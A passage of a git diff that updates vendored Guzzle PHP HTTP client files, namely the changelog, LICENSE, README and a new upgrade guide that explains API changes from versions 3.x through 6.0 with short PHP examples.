the requirement that HTTPS requests needed a Cache-Control: public directive to be cacheable. +* [Http] Adding support for Content-Type in multipart POST uploads per upload +* [Http] Added support for uploading multiple files using the same name (foo[0], foo[1]) +* Adding more POST data operations for easier manipulation of POST data. +* You can now set empty POST fields. +* The body of a request is only shown on EntityEnclosingRequest objects that do not use POST files. +* Split the Guzzle\Service\Inspector::validateConfig method into two methods. One to initialize when a command is created, and one to validate. +* CS updates + +## 2.6.2 - 2012-05-19 + +* [Http] Better handling of nested scope requests in CurlMulti. Requests are now always prepares in the send() method rather than the addRequest() method. + +## 2.6.1 - 2012-05-19 + +* [BC] Removing 'path' support in service descriptions. Use 'uri'. +* [BC] Guzzle\Service\Inspector::parseDocBlock is now protected. Adding getApiParamsForClass() with cache. +* [BC] Removing Guzzle\Common\NullObject. Use https://github.com/mtdowling/NullObject if you need it. +* [BC] Removing Guzzle\Common\XmlElement. +* All commands, both dynamic and concrete, have ApiCommand objects. +* Adding a fix for CurlMulti so that if all of the connections encounter some sort of curl error, then the loop exits. +* Adding checks to EntityEnclosingRequest so that empty POST files and fields are ignored. +* Making the method signature of Guzzle\Service\Builder\ServiceBuilder::factory more flexible. + +## 2.6.0 - 2012-05-15 + +* [BC] Moving Guzzle\Service\Builder to Guzzle\Service\Builder\ServiceBuilder +* [BC] Executing a Command returns the result of the command rather than the command +* [BC] Moving all HTTP parsing logic to Guzzle\Http\Parsers. Allows for faster C implementations if needed. +* [BC] Changing the Guzzle\Http\Message\Response::setProtocol() method to accept a protocol and version in separate args. +* [BC] Moving ResourceIterator* to Guzzle\Service\Resource +* [BC] Completely refactored ResourceIterators to iterate over a cloned command object +* [BC] Moved Guzzle\Http\UriTemplate to Guzzle\Http\Parser\UriTemplate\UriTemplate +* [BC] Guzzle\Guzzle is now deprecated +* Moving Guzzle\Common\Guzzle::inject to Guzzle\Common\Collection::inject +* Adding Guzzle\Version class to give version information about Guzzle +* Adding Guzzle\Http\Utils class to provide getDefaultUserAgent() and getHttpDate() +* Adding Guzzle\Curl\CurlVersion to manage caching curl_version() data +* ServiceDescription and ServiceBuilder are now cacheable using similar configs +* Changing the format of XML and JSON service builder configs. Backwards compatible. +* Cleaned up Cookie parsing +* Trimming the default Guzzle User-Agent header +* Adding a setOnComplete() method to Commands that is called when a command completes +* Keeping track of requests that were mocked in the MockPlugin +* Fixed a caching bug in the CacheAdapterFactory +* Inspector objects can be injected into a Command object +* Refactoring a lot of code and tests to be case insensitive when dealing with headers +* Adding Guzzle\Http\Message\HeaderComparison for easy comparison of HTTP headers using a DSL +* Adding the ability to set global option overrides to service builder configs +* Adding the ability to include other service builder config files from within XML and JSON files +* Moving the parseQuery method out of Url and on to QueryString::fromString() as a static factory method. + +## 2.5.0 - 2012-05-08 + +* Major performance improvements +* [BC] Simplifying Guzzle\Common\Collection. Please check to see if you are using features that are now deprecated. +* [BC] Using a custom validation system that allows a flyweight implementation for much faster validation. No longer using Symfony2 Validation component. +* [BC] No longer supporting "{{ }}" for injecting into command or UriTemplates. Use "{}" +* Added the ability to passed parameters to all requests created by a client +* Added callback functionality to the ExponentialBackoffPlugin +* Using microtime in ExponentialBackoffPlugin to allow more granular backoff strategies. +* Rewinding request stream bodies when retrying requests +* Exception is thrown when JSON response body cannot be decoded +* Added configurable magic method calls to clients and commands. This is off by default. +* Fixed a defect that added a hash to every parsed URL part +* Fixed duplicate none generation for OauthPlugin. +* Emitting an event each time a client is generated by a ServiceBuilder +* Using an ApiParams object instead of a Collection for parameters of an ApiCommand +* cache.* request parameters should be renamed to params.cache.* +* Added the ability to set arbitrary curl options on requests (disable_wire, progress, etc.). See CurlHandle. +* Added the ability to disable type validation of service descriptions +* ServiceDescriptions and ServiceBuilders are now Serializable diff --git a/vendor/guzzlehttp/guzzle/LICENSE b/vendor/guzzlehttp/guzzle/LICENSE index 50a177b0..fd2375d8 100644 --- a/vendor/guzzlehttp/guzzle/LICENSE +++ b/vendor/guzzlehttp/guzzle/LICENSE @@ -1,4 +1,12 @@ -Copyright (c) 2011-2018 Michael Dowling, https://github.com/mtdowling +The MIT License (MIT) + +Copyright (c) 2011 Michael Dowling +Copyright (c) 2012 Jeremy Lindblom +Copyright (c) 2014 Graham Campbell +Copyright (c) 2015 Márk Sági-Kazár +Copyright (c) 2015 Tobias Schultze +Copyright (c) 2016 Tobias Nyholm +Copyright (c) 2016 George Mponos Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/vendor/guzzlehttp/guzzle/README.md b/vendor/guzzlehttp/guzzle/README.md index 5fdb6c5f..bc98e1a1 100644 --- a/vendor/guzzlehttp/guzzle/README.md +++ b/vendor/guzzlehttp/guzzle/README.md @@ -1,8 +1,9 @@ -Guzzle, PHP HTTP client -======================= +![Guzzle](.github/logo.png?raw=true) + +# Guzzle, PHP HTTP client [![Latest Version](https://img.shields.io/github/release/guzzle/guzzle.svg?style=flat-square)](https://github.com/guzzle/guzzle/releases) -[![Build Status](https://img.shields.io/travis/guzzle/guzzle.svg?style=flat-square)](https://travis-ci.org/guzzle/guzzle) +[![Build Status](https://img.shields.io/github/workflow/status/guzzle/guzzle/CI?label=ci%20build&style=flat-square)](https://github.com/guzzle/guzzle/actions?query=workflow%3ACI) [![Total Downloads](https://img.shields.io/packagist/dt/guzzlehttp/guzzle.svg?style=flat-square)](https://packagist.org/packages/guzzlehttp/guzzle) Guzzle is a PHP HTTP client that makes it easy to send HTTP requests and @@ -38,15 +39,18 @@ $promise->wait(); ## Help and docs -- [Documentation](http://guzzlephp.org/) -- [Stack Overflow](http://stackoverflow.com/questions/tagged/guzzle) +We use GitHub issues only to discuss bugs and new features. For support please refer to: + +- [Documentation](https://docs.guzzlephp.org) +- [Stack Overflow](https://stackoverflow.com/questions/tagged/guzzle) +- [#guzzle](https://app.slack.com/client/T0D2S9JCT/CE6UAAKL4) channel on [PHP-HTTP Slack](https://slack.httplug.io/) - [Gitter](https://gitter.im/guzzle/guzzle) ## Installing Guzzle The recommended way to install Guzzle is through -[Composer](http://getcomposer.org). +[Composer](https://getcomposer.org/). ```bash # Install Composer @@ -74,17 +78,20 @@ composer update ## Version Guidance -| Version | Status | Packagist | Namespace | Repo | Docs | PSR-7 | PHP Version | -|---------|------------|---------------------|--------------|---------------------|---------------------|-------|-------------| -| 3.x | EOL | `guzzle/guzzle` | `Guzzle` | [v3][guzzle-3-repo] | [v3][guzzle-3-docs] | No | >= 5.3.3 | -| 4.x | EOL | `guzzlehttp/guzzle` | `GuzzleHttp` | [v4][guzzle-4-repo] | N/A | No | >= 5.4 | -| 5.x | EOL | `guzzlehttp/guzzle` | `GuzzleHttp` | [v5][guzzle-5-repo] | [v5][guzzle-5-docs] | No | >= 5.4 | -| 6.x | Latest | `guzzlehttp/guzzle` | `GuzzleHttp` | [v6][guzzle-6-repo] | [v6][guzzle-6-docs] | Yes | >= 5.5 | +| Version | Status | Packagist | Namespace | Repo | Docs | PSR-7 | PHP Version | +|---------|----------------|---------------------|--------------|---------------------|---------------------|-------|--------------| +| 3.x | EOL | `guzzle/guzzle` | `Guzzle` | [v3][guzzle-3-repo] | [v3][guzzle-3-docs] | No | >=5.3.3,<7.0 | +| 4.x | EOL | `guzzlehttp/guzzle` | `GuzzleHttp` | [v4][guzzle-4-repo] | N/A | No | >=5.4,<7.0 | +| 5.x | EOL | `guzzlehttp/guzzle` | `GuzzleHttp` | [v5][guzzle-5-repo] | [v5][guzzle-5-docs] | No | >=5.4,<7.4 | +| 6.x | Security fixes | `guzzlehttp/guzzle` | `GuzzleHttp` | [v6][guzzle-6-repo] | [v6][guzzle-6-docs] | Yes | >=5.5,<8.0 | +| 7.x | Latest | `guzzlehttp/guzzle` | `GuzzleHttp` | [v7][guzzle-7-repo] | [v7][guzzle-7-docs] | Yes | >=7.2.5,<8.2 | [guzzle-3-repo]: https://github.com/guzzle/guzzle3 [guzzle-4-repo]: https://github.com/guzzle/guzzle/tree/4.x [guzzle-5-repo]: https://github.com/guzzle/guzzle/tree/5.3 -[guzzle-6-repo]: https://github.com/guzzle/guzzle -[guzzle-3-docs]: http://guzzle3.readthedocs.org -[guzzle-5-docs]: http://guzzle.readthedocs.org/en/5.3/ -[guzzle-6-docs]: http://guzzle.readthedocs.org/en/latest/ +[guzzle-6-repo]: https://github.com/guzzle/guzzle/tree/6.5 +[guzzle-7-repo]: https://github.com/guzzle/guzzle +[guzzle-3-docs]: https://guzzle3.readthedocs.io/ +[guzzle-5-docs]: https://docs.guzzlephp.org/en/5.3/ +[guzzle-6-docs]: https://docs.guzzlephp.org/en/6.5/ +[guzzle-7-docs]: https://docs.guzzlephp.org/en/latest/ diff --git a/vendor/guzzlehttp/guzzle/UPGRADING.md b/vendor/guzzlehttp/guzzle/UPGRADING.md new file mode 100644 index 00000000..91d1dcc9 --- /dev/null +++ b/vendor/guzzlehttp/guzzle/UPGRADING.md @@ -0,0 +1,1203 @@ +Guzzle Upgrade Guide +==================== + +5.0 to 6.0 +---------- + +Guzzle now uses [PSR-7](http://www.php-fig.org/psr/psr-7/) for HTTP messages. +Due to the fact that these messages are immutable, this prompted a refactoring +of Guzzle to use a middleware based system rather than an event system. Any +HTTP message interaction (e.g., `GuzzleHttp\Message\Request`) need to be +updated to work with the new immutable PSR-7 request and response objects. Any +event listeners or subscribers need to be updated to become middleware +functions that wrap handlers (or are injected into a +`GuzzleHttp\HandlerStack`). + +- Removed `GuzzleHttp\BatchResults` +- Removed `GuzzleHttp\Collection` +- Removed `GuzzleHttp\HasDataTrait` +- Removed `GuzzleHttp\ToArrayInterface` +- The `guzzlehttp/streams` dependency has been removed. Stream functionality + is now present in the `GuzzleHttp\Psr7` namespace provided by the + `guzzlehttp/psr7` package. +- Guzzle no longer uses ReactPHP promises and now uses the + `guzzlehttp/promises` library. We use a custom promise library for three + significant reasons: + 1. React promises (at the time of writing this) are recursive. Promise + chaining and promise resolution will eventually blow the stack. Guzzle + promises are not recursive as they use a sort of trampolining technique. + Note: there has been movement in the React project to modify promises to + no longer utilize recursion. + 2. Guzzle needs to have the ability to synchronously block on a promise to + wait for a result. Guzzle promises allows this functionality (and does + not require the use of recursion). + 3. Because we need to be able to wait on a result, doing so using React + promises requires wrapping react promises with RingPHP futures. This + overhead is no longer needed, reducing stack sizes, reducing complexity, + and improving performance. +- `GuzzleHttp\Mimetypes` has been moved to a function in + `GuzzleHttp\Psr7\mimetype_from_extension` and + `GuzzleHttp\Psr7\mimetype_from_filename`. +- `GuzzleHttp\Query` and `GuzzleHttp\QueryParser` have been removed. Query + strings must now be passed into request objects as strings, or provided to + the `query` request option when creating requests with clients. The `query` + option uses PHP's `http_build_query` to convert an array to a string. If you + need a different serialization technique, you will need to pass the query + string in as a string. There are a couple helper functions that will make + working with query strings easier: `GuzzleHttp\Psr7\parse_query` and + `GuzzleHttp\Psr7\build_query`. +- Guzzle no longer has a dependency on RingPHP. Due to the use of a middleware + system based on PSR-7, using RingPHP and it's middleware system as well adds + more complexity than the benefits it provides. All HTTP handlers that were + present in RingPHP have been modified to work directly with PSR-7 messages + and placed in the `GuzzleHttp\Handler` namespace. This significantly reduces + complexity in Guzzle, removes a dependency, and improves performance. RingPHP + will be maintained for Guzzle 5 support, but will no longer be a part of + Guzzle 6. +- As Guzzle now uses a middleware based systems the event system and RingPHP + integration has been removed. Note: while the event system has been removed, + it is possible to add your own type of event system that is powered by the + middleware system. + - Removed the `Event` namespace. + - Removed the `Subscriber` namespace. + - Removed `Transaction` class + - Removed `RequestFsm` + - Removed `RingBridge` + - `GuzzleHttp\Subscriber\Cookie` is now provided by + `GuzzleHttp\Middleware::cookies` + - `GuzzleHttp\Subscriber\HttpError` is now provided by + `GuzzleHttp\Middleware::httpError` + - `GuzzleHttp\Subscriber\History` is now provided by + `GuzzleHttp\Middleware::history` + - `GuzzleHttp\Subscriber\Mock` is now provided by + `GuzzleHttp\Handler\MockHandler` + - `GuzzleHttp\Subscriber\Prepare` is now provided by + `GuzzleHttp\PrepareBodyMiddleware` + - `GuzzleHttp\Subscriber\Redirect` is now provided by + `GuzzleHttp\RedirectMiddleware` +- Guzzle now uses `Psr\Http\Message\UriInterface` (implements in + `GuzzleHttp\Psr7\Uri`) for URI support. `GuzzleHttp\Url` is now gone. +- Static functions in `GuzzleHttp\Utils` have been moved to namespaced + functions under the `GuzzleHttp` namespace. This requires either a Composer + based autoloader or you to include functions.php. +- `GuzzleHttp\ClientInterface::getDefaultOption` has been renamed to + `GuzzleHttp\ClientInterface::getConfig`. +- `GuzzleHttp\ClientInterface::setDefaultOption` has been removed. +- The `json` and `xml` methods of response objects has been removed. With the + migration to strictly adhering to PSR-7 as the interface for Guzzle messages, + adding methods to message interfaces would actually require Guzzle messages + to extend from PSR-7 messages rather then work with them directly. + +## Migrating to middleware + +The change to PSR-7 unfortunately required significant refactoring to Guzzle +due to the fact that PSR-7 messages are immutable. Guzzle 5 relied on an event +system from plugins. The event system relied on mutability of HTTP messages and +side effects in order to work. With immutable messages, you have to change your +workflow to become more about either returning a value (e.g., functional +middlewares) or setting a value on an object. Guzzle v6 has chosen the +functional middleware approach. + +Instead of using the event system to listen for things like the `before` event, +you now create a stack based middleware function that intercepts a request on +the way in and the promise of the response on the way out. This is a much +simpler and more predictable approach than the event system and works nicely +with PSR-7 middleware. Due to the use of promises, the middleware system is +also asynchronous. + +v5: + +```php +use GuzzleHttp\Event\BeforeEvent; +$client = new GuzzleHttp\Client(); +// Get the emitter and listen to the before event. +$client->getEmitter()->on('before', function (BeforeEvent $e) { + // Guzzle v5 events relied on mutation + $e->getRequest()->setHeader('X-Foo', 'Bar'); +}); +``` + +v6: + +In v6, you can modify the request before it is sent using the `mapRequest` +middleware. The idiomatic way in v6 to modify the request/response lifecycle is +to setup a handler middleware stack up front and inject the handler into a +client. + +```php +use GuzzleHttp\Middleware; +// Create a handler stack that has all of the default middlewares attached +$handler = GuzzleHttp\HandlerStack::create(); +// Push the handler onto the handler stack +$handler->push(Middleware::mapRequest(function (RequestInterface $request) { + // Notice that we have to return a request object + return $request->withHeader('X-Foo', 'Bar'); +})); +// Inject the handler into the client +$client = new GuzzleHttp\Client(['handler' => $handler]); +``` + +## POST Requests + +This version added the [`form_params`](http://guzzle.readthedocs.org/en/latest/request-options.html#form_params) +and `multipart` request options. `form_params` is an associative array of +strings or array of strings and is used to serialize an +`application/x-www-form-urlencoded` POST request. The +[`multipart`](http://guzzle.readthedocs.org/en/latest/request-options.html#multipart) +option is now used to send a multipart/form-data POST request. + +`GuzzleHttp\Post\PostFile` has been removed. Use the `multipart` option to add +POST files to a multipart/form-data request. + +The `body` option no longer accepts an array to send POST requests. Please use +`multipart` or `form_params` instead. + +The `base_url` option has been renamed to `base_uri`. + +4.x to 5.0 +---------- + +## Rewritten Adapter Layer + +Guzzle now uses [RingPHP](http://ringphp.readthedocs.org/en/latest) to send +HTTP requests. The `adapter` option in a `GuzzleHttp\Client` constructor +is still supported, but it has now been renamed to `handler`. Instead of +passing a `GuzzleHttp\Adapter\AdapterInterface`, you must now pass a PHP +`callable` that follows the RingPHP specification. + +## Removed Fluent Interfaces + +[Fluent interfaces were removed](http://ocramius.github.io/blog/fluent-interfaces-are-evil) +from the following classes: + +- `GuzzleHttp\Collection` +- `GuzzleHttp\Url` +- `GuzzleHttp\Query` +- `GuzzleHttp\Post\PostBody` +- `GuzzleHttp\Cookie\SetCookie` + +## Removed functions.php + +Removed "functions.php", so that Guzzle is truly PSR-4 compliant. The following +functions can be used as replacements. + +- `GuzzleHttp\json_decode` -> `GuzzleHttp\Utils::jsonDecode` +- `GuzzleHttp\get_path` -> `GuzzleHttp\Utils::getPath` +- `GuzzleHttp\Utils::setPath` -> `GuzzleHttp\set_path` +- `GuzzleHttp\Pool::batch` -> `GuzzleHttp\batch`. This function is, however, + deprecated in favor of using `GuzzleHttp\Pool::batch()`. + +The "procedural" global client has been removed with no replacement (e.g., +`GuzzleHttp\get()`, `GuzzleHttp\post()`, etc.). Use a `GuzzleHttp\Client` +object as a replacement. + +## `throwImmediately` has been removed + +The concept of "throwImmediately" has been removed from exceptions and error +events. This control mechanism was used to stop a transfer of concurrent +requests from completing. This can now be handled by throwing the exception or +by cancelling a pool of requests or each outstanding future request +individually. + +## headers event has been removed + +Removed the "headers" event. This event was only useful for changing the +body a response once the headers of the response were known. You can implement +a similar behavior in a number of ways. One example might be to use a +FnStream that has access to the transaction being sent. For example, when the +first byte is written, you could check if the response headers match your +expectations, and if so, change the actual stream body that is being +written to. + +## Updates to HTTP Messages + +Removed the `asArray` parameter from +`GuzzleHttp\Message\MessageInterface::getHeader`. If you want to get a header +value as an array, then use the newly added `getHeaderAsArray()` method of +`MessageInterface`. This change makes the Guzzle interfaces compatible with +the PSR-7 interfaces. + +3.x to 4.0 +---------- + +## Overarching changes: + +- Now requires PHP 5.4 or greater. +- No longer requires cURL to send requests. +- Guzzle no longer wraps every exception it throws. Only exceptions that are + recoverable are now wrapped by Guzzle. +- Various namespaces have been removed or renamed. +- No longer requiring the Symfony EventDispatcher. A custom event dispatcher + based on the Symfony EventDispatcher is + now utilized in `GuzzleHttp\Event\EmitterInterface` (resulting in significant + speed and functionality improvements). + +Changes per Guzzle 3.x namespace are described below. + +## Batch + +The `Guzzle\Batch` namespace has been removed. This is best left to +third-parties to implement on top of Guzzle's core HTTP library. + +## Cache + +The `Guzzle\Cache` namespace has been removed. (Todo: No suitable replacement +has been implemented yet, but hoping to utilize a PSR cache interface). + +## Common + +- Removed all of the wrapped exceptions. It's better to use the standard PHP + library for unrecoverable exceptions. +- `FromConfigInterface` has been removed. +- `Guzzle\Common\Version` has been removed. The VERSION constant can be found + at `GuzzleHttp\ClientInterface::VERSION`. + +### Collection + +- `getAll` has been removed. Use `toArray` to convert a collection to an array. +- `inject` has been removed. +- `keySearch` has been removed. +- `getPath` no longer supports wildcard expressions. Use something better like + JMESPath for this. +- `setPath` now supports appending to an existing array via the `[]` notation. + +### Events + +Guzzle no longer requires Symfony's EventDispatcher component. Guzzle now uses +`GuzzleHttp\Event\Emitter`. + +- `Symfony\Component\EventDispatcher\EventDispatcherInterface` is replaced by + `GuzzleHttp\Event\EmitterInterface`. +- `Symfony\Component\EventDispatcher\EventDispatcher` is replaced by + `GuzzleHttp\Event\Emitter`. +- `Symfony\Component\EventDispatcher\Event` is replaced by + `GuzzleHttp\Event\Event`, and Guzzle now has an EventInterface in + `GuzzleHttp\Event\EventInterface`. +- `AbstractHasDispatcher` has moved to a trait, `HasEmitterTrait`, and + `HasDispatcherInterface` has moved to `HasEmitterInterface`. Retrieving the + event emitter of a request, client, etc. now uses the `getEmitter` method + rather than the `getDispatcher` method. + +#### Emitter + +- Use the `once()` method to add a listener that automatically removes itself + the first time it is invoked. +- Use the `listeners()` method to retrieve a list of event listeners rather than + the `getListeners()` method. +- Use `emit()` instead of `dispatch()` to emit an event from an emitter. +- Use `attach()` instead of `addSubscriber()` and `detach()` instead of + `removeSubscriber()`. + +```php +$mock = new Mock(); +// 3.x +$request->getEventDispatcher()->addSubscriber($mock); +$request->getEventDispatcher()->removeSubscriber($mock); +// 4.x +$request->getEmitter()->attach($mock); +$request->getEmitter()->detach($mock); +``` + +Use the `on()` method to add a listener rather than the `addListener()` method. + +```php +// 3.x +$request->getEventDispatcher()->addListener('foo', function (Event $event) { /* ... */ } ); +// 4.x +$request->getEmitter()->on('foo', function (Event $event, $name) { /* ... */ } ); +``` + +## Http + +### General changes + +- The cacert.pem certificate has been moved to `src/cacert.pem`. +- Added the concept of adapters that are used to transfer requests over the + wire. +- Simplified the event system. +- Sending requests in parallel is still possible, but batching is no longer a + concept of the HTTP layer. Instead, you must use the `complete` and `error` + events to asynchronously manage parallel request transfers. +- `Guzzle\Http\Url` has moved to `GuzzleHttp\Url`. +- `Guzzle\Http\QueryString` has moved to `GuzzleHttp\Query`. +- QueryAggregators have been rewritten so that they are simply callable + functions. +- `GuzzleHttp\StaticClient` has been removed. Use the functions provided in + `functions.php` for an easy to use static client instance. +- Exceptions in `GuzzleHttp\Exception` have been updated to all extend from + `GuzzleHttp\Exception\TransferException`. + +### Client + +Calling methods like `get()`, `post()`, `head()`, etc. no longer create and +return a request, but rather creates a request, sends the request, and returns +the response. + +```php +// 3.0 +$request = $client->get('/'); +$response = $request->send(); + +// 4.0 +$response = $client->get('/'); + +// or, to mirror the previous behavior +$request = $client->createRequest('GET', '/'); +$response = $client->send($request); +``` + +`GuzzleHttp\ClientInterface` has changed. + +- The `send` method no longer accepts more than one request. Use `sendAll` to + send multiple requests in parallel. +- `setUserAgent()` has been removed. Use a default request option instead. You + could, for example, do something like: + `$client->setConfig('defaults/headers/User-Agent', 'Foo/Bar ' . $client::getDefaultUserAgent())`. +- `setSslVerification()` has been removed. Use default request options instead, + like `$client->setConfig('defaults/verify', true)`. + +`GuzzleHttp\Client` has changed. + +- The constructor now accepts only an associative array. You can include a + `base_url` string or array to use a URI template as the base URL of a client. + You can also specify a `defaults` key that is an associative array of default + request options. You can pass an `adapter` to use a custom adapter, + `batch_adapter` to use a custom adapter for sending requests in parallel, or + a `message_factory` to change the factory used to create HTTP requests and + responses. +- The client no longer emits a `client.create_request` event. +- Creating requests with a client no longer automatically utilize a URI + template. You must pass an array into a creational method (e.g., + `createRequest`, `get`, `put`, etc.) in order to expand a URI template. + +### Messages + +Messages no longer have references to their counterparts (i.e., a request no +longer has a reference to it's response, and a response no loger has a +reference to its request). This association is now managed through a +`GuzzleHttp\Adapter\TransactionInterface` object. You can get references to +these transaction objects using request events that are emitted over the +lifecycle of a request. + +#### Requests with a body + +- `GuzzleHttp\Message\EntityEnclosingRequest` and + `GuzzleHttp\Message\EntityEnclosingRequestInterface` have been removed. The + separation between requests that contain a body and requests that do not + contain a body has been removed, and now `GuzzleHttp\Message\RequestInterface` + handles both use cases. +- Any method that previously accepts a `GuzzleHttp\Response` object now accept a + `GuzzleHttp\Message\ResponseInterface`. +- `GuzzleHttp\Message\RequestFactoryInterface` has been renamed to + `GuzzleHttp\Message\MessageFactoryInterface`. This interface is used to create + both requests and responses and is implemented in + `GuzzleHttp\Message\MessageFactory`. +- POST field and file methods have been removed from the request object. You + must now use the methods made available to `GuzzleHttp\Post\PostBodyInterface` + to control the format of a POST body. Requests that are created using a + standard `GuzzleHttp\Message\MessageFactoryInterface` will automatically use + a `GuzzleHttp\Post\PostBody` body if the body was passed as an array or if + the method is POST and no body is provided. + +```php +$request = $client->createRequest('POST', '/'); +$request->getBody()->setField('foo', 'bar'); +$request->getBody()->addFile(new PostFile('file_key', fopen('/path/to/content', 'r'))); +``` + +#### Headers + +- `GuzzleHttp\Message\Header` has been removed. Header values are now simply + represented by an array of values or as a string. Header values are returned + as a string by default when retrieving a header value from a message. You can + pass an optional argument of `true` to retrieve a header value as an array + of strings instead of a single concatenated string. +- `GuzzleHttp\PostFile` and `GuzzleHttp\PostFileInterface` have been moved to + `GuzzleHttp\Post`. This interface has been simplified and now allows the + addition of arbitrary headers. +- Custom headers like `GuzzleHttp\Message\Header\Link` have been removed. Most + of the custom headers are now handled separately in specific + subscribers/plugins, and `GuzzleHttp\Message\HeaderValues::parseParams()` has + been updated to properly handle headers that contain parameters (like the + `Link` header). + +#### Responses + +- `GuzzleHttp\Message\Response::getInfo()` and + `GuzzleHttp\Message\Response::setInfo()` have been removed. Use the event + system to retrieve this type of information. +- `GuzzleHttp\Message\Response::getRawHeaders()` has been removed. +- `GuzzleHttp\Message\Response::getMessage()` has been removed. +- `GuzzleHttp\Message\Response::calculateAge()` and other cache specific + methods have moved to the CacheSubscriber. +- Header specific helper functions like `getContentMd5()` have been removed. + Just use `getHeader('Content-MD5')` instead. +- `GuzzleHttp\Message\Response::setRequest()` and + `GuzzleHttp\Message\Response::getRequest()` have been removed. Use the event + system to work with request and response objects as a transaction. +- `GuzzleHttp\Message\Response::getRedirectCount()` has been removed. Use the + Redirect subscriber instead. +- `GuzzleHttp\Message\Response::isSuccessful()` and other related methods have + been removed. Use `getStatusCode()` instead. + +#### Streaming responses + +Streaming requests can now be created by a client directly, returning a +`GuzzleHttp\Message\ResponseInterface` object that contains a body stream +referencing an open PHP HTTP stream. + +```php +// 3.0 +use Guzzle\Stream\PhpStreamRequestFactory; +$request = $client->get('/'); +$factory = new PhpStreamRequestFactory(); +$stream = $factory->fromRequest($request); +$data = $stream->read(1024); + +// 4.0 +$response = $client->get('/', ['stream' => true]); +// Read some data off of the stream in the response body +$data = $response->getBody()->read(1024); +``` + +#### Redirects + +The `configureRedirects()` method has been removed in favor of a +`allow_redirects` request option. + +```php +// Standard redirects with a default of a max of 5 redirects +$request = $client->createRequest('GET', '/', ['allow_redirects' => true]); + +// Strict redirects with a custom number of redirects +$request = $client->createRequest('GET', '/', [ + 'allow_redirects' => ['max' => 5, 'strict' => true] +]); +``` + +#### EntityBody + +EntityBody interfaces and classes have been removed or moved to +`GuzzleHttp\Stream`. All classes and interfaces that once required +`GuzzleHttp\EntityBodyInterface` now require +`GuzzleHttp\Stream\StreamInterface`. Creating a new body for a request no +longer uses `GuzzleHttp\EntityBody::factory` but now uses +`GuzzleHttp\Stream\Stream::factory` or even better: +`GuzzleHttp\Stream\create()`. + +- `Guzzle\Http\EntityBodyInterface` is now `GuzzleHttp\Stream\StreamInterface` +- `Guzzle\Http\EntityBody` is now `GuzzleHttp\Stream\Stream` +- `Guzzle\Http\CachingEntityBody` is now `GuzzleHttp\Stream\CachingStream` +- `Guzzle\Http\ReadLimitEntityBody` is now `GuzzleHttp\Stream\LimitStream` +- `Guzzle\Http\IoEmittyinEntityBody` has been removed. + +#### Request lifecycle events + +Requests previously submitted a large number of requests. The number of events +emitted over the lifecycle of a request has been significantly reduced to make +it easier to understand how to extend the behavior of a request. All events +emitted during the lifecycle of a request now emit a custom +`GuzzleHttp\Event\EventInterface` object that contains context providing +methods and a way in which to modify the transaction at that specific point in +time (e.g., intercept the request and set a response on the transaction). + +- `request.before_send` has been renamed to `before` and now emits a + `GuzzleHttp\Event\BeforeEvent` +- `request.complete` has been renamed to `complete` and now emits a + `GuzzleHttp\Event\CompleteEvent`. +- `request.sent` has been removed. Use `complete`. +- `request.success` has been removed. Use `complete`. +- `error` is now an event that emits a `GuzzleHttp\Event\ErrorEvent`. +- `request.exception` has been removed. Use `error`. +- `request.receive.status_line` has been removed. +- `curl.callback.progress` has been removed. Use a custom `StreamInterface` to + maintain a status update. +- `curl.callback.write` has been removed. Use a custom `StreamInterface` to + intercept writes. +- `curl.callback.read` has been removed. Use a custom `StreamInterface` to + intercept reads. + +`headers` is a new event that is emitted after the response headers of a +request have been received before the body of the response is downloaded. This +event emits a `GuzzleHttp\Event\HeadersEvent`. + +You can intercept a request and inject a response using the `intercept()` event +of a `GuzzleHttp\Event\BeforeEvent`, `GuzzleHttp\Event\CompleteEvent`, and +`GuzzleHttp\Event\ErrorEvent` event. + +See: http://docs.guzzlephp.org/en/latest/events.html + +## Inflection + +The `Guzzle\Inflection` namespace has been removed. This is not a core concern +of Guzzle. + +## Iterator + +The `Guzzle\Iterator` namespace has been removed. + +- `Guzzle\Iterator\AppendIterator`, `Guzzle\Iterator\ChunkedIterator`, and + `Guzzle\Iterator\MethodProxyIterator` are nice, but not a core requirement of + Guzzle itself. +- `Guzzle\Iterator\FilterIterator` is no longer needed because an equivalent + class is shipped with PHP 5.4. +- `Guzzle\Iterator\MapIterator` is not really needed when using PHP 5.5 because + it's easier to just wrap an iterator in a generator that maps values. + +For a replacement of these iterators, see https://github.com/nikic/iter + +## Log + +The LogPlugin has moved to https://github.com/guzzle/log-subscriber. The +`Guzzle\Log` namespace has been removed. Guzzle now relies on +`Psr\Log\LoggerInterface` for all logging. The MessageFormatter class has been +moved to `GuzzleHttp\Subscriber\Log\Formatter`. + +## Parser + +The `Guzzle\Parser` namespace has been removed. This was previously used to +make it possible to plug in custom parsers for cookies, messages, URI +templates, and URLs; however, this level of complexity is not needed in Guzzle +so it has been removed. + +- Cookie: Cookie parsing logic has been moved to + `GuzzleHttp\Cookie\SetCookie::fromString`. +- Message: Message parsing logic for both requests and responses has been moved + to `GuzzleHttp\Message\MessageFactory::fromMessage`. Message parsing is only + used in debugging or deserializing messages, so it doesn't make sense for + Guzzle as a library to add this level of complexity to parsing messages. +- UriTemplate: URI template parsing has been moved to + `GuzzleHttp\UriTemplate`. The Guzzle library will automatically use the PECL + URI template library if it is installed. +- Url: URL parsing is now performed in `GuzzleHttp\Url::fromString` (previously + it was `Guzzle\Http\Url::factory()`). If custom URL parsing is necessary, + then developers are free to subclass `GuzzleHttp\Url`. + +## Plugin + +The `Guzzle\Plugin` namespace has been renamed to `GuzzleHttp\Subscriber`. +Several plugins are shipping with the core Guzzle library under this namespace. + +- `GuzzleHttp\Subscriber\Cookie`: Replaces the old CookiePlugin. Cookie jar + code has moved to `GuzzleHttp\Cookie`. +- `GuzzleHttp\Subscriber\History`: Replaces the old HistoryPlugin. +- `GuzzleHttp\Subscriber\HttpError`: Throws errors when a bad HTTP response is + received. +- `GuzzleHttp\Subscriber\Mock`: Replaces the old MockPlugin. +- `GuzzleHttp\Subscriber\Prepare`: Prepares the body of a request just before + sending. This subscriber is attached to all requests by default. +- `GuzzleHttp\Subscriber\Redirect`: Replaces the RedirectPlugin. + +The following plugins have been removed (third-parties are free to re-implement +these if needed): + +- `GuzzleHttp\Plugin\Async` has been removed. +- `GuzzleHttp\Plugin\CurlAuth` has been removed. +- `GuzzleHttp\Plugin\ErrorResponse\ErrorResponsePlugin` has been removed. This + functionality should instead be implemented with event listeners that occur + after normal response parsing occurs in the guzzle/command package. + +The following plugins are not part of the core Guzzle package, but are provided +in separate repositories: + +- `Guzzle\Http\Plugin\BackoffPlugin` has been rewritten to be much simpler + to build 